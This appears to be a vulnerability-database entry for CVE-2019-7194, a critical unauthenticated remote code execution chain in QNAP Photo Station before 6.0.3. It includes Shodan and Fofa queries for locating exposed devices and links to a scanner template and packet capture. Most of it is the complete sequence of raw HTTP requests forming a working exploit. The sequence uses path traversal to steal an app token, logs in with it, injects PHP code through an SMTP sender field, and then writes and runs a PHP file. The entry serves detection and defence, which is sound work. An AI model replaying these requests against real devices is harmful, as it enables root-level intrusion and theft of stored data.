| Title | QNAP Photo Station < 6.0.3 - Remote Code Execution |
|---|---|
| Author | x-stp |
| Severity | Critical |
| Impact | Unauthenticated attackers can chain multiple vulnerabilities to achieve remote code execution with root privileges, gaining complete control over the QNAP device and access to all stored data. |
| Remediation | Upgrade to QNAP Photo Station version 6.0.3 or later. |
| CVSS Score | 9.8 |
| EPSS Score | 0.93938 |
| CVE ID | CVE-2019-7194 |
| CWE ID | CWE-22 |
| Shodan Query | content-length:"580 "http server 1.0""http.title:"photo station"http.title:"qnap" |
| Fofa Query | title="photo station"title="qnap" |
| Tags | cve cve2019 qnap rce photostation unauth injection lfi kev intrusive vkev vuln |
QNAP Photo Station versions prior to 6.0.3 contain multiple vulnerabilities that, when chained together, enable unauthenticated remote code execution (RCE).
POST /photo/p/api/album.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Connection: close
Content-Length: 29
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
a=setSlideshow&f=qsamplealbum
GET /photo/slideshow.php?album=VRsTDH HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:24.0) Gecko/20100101 Firefox/24.0
Connection: close
Accept-Encoding: gzip
POST /photo/p/api/video.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 105
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
a=caption&f=UMGObv&album=VRsTDH&ac=qfKl91&filename=../../../../../share/Multimedia/.@__thumb/ps.app.token
POST /cgi-bin/authLogin.cgi HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Connection: close
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
app=PHOTO_STATION&auth=1&app_token=qQKhML
POST /cgi-bin/userConfig.cgi?sid=M5f7pJ HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 195
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
func=addPersonalSmtp&provider_idx=0&sender=<?php echo php_uname(); unlink(__FILE__); ?>&default=0&smtp_server=0.0.0.0&port=25&security=-1&email_account=xkuw9d@v2txu6.com&email_passwd=oSlNhpqC6OD5
GET /photo/slideshow.php?album=qsamplealbum HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:1.9.5.20) Gecko/ Firefox/15.0
Connection: close
Cookie: QMS_SID=../../../../../../../../../../mnt/ext/opt/photostation2/isfflm.php; PHPSESSID=Wd0kIC; NAS_SID=M5f7pJ; DESKTOP=1;
Accept-Encoding: gzip
GET /photo/isfflm.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36
Connection: close
Cookie: PHPSESSID=Wd0kIC; NAS_SID=M5f7pJ
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-7194.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-7194.pcap
N/AN/A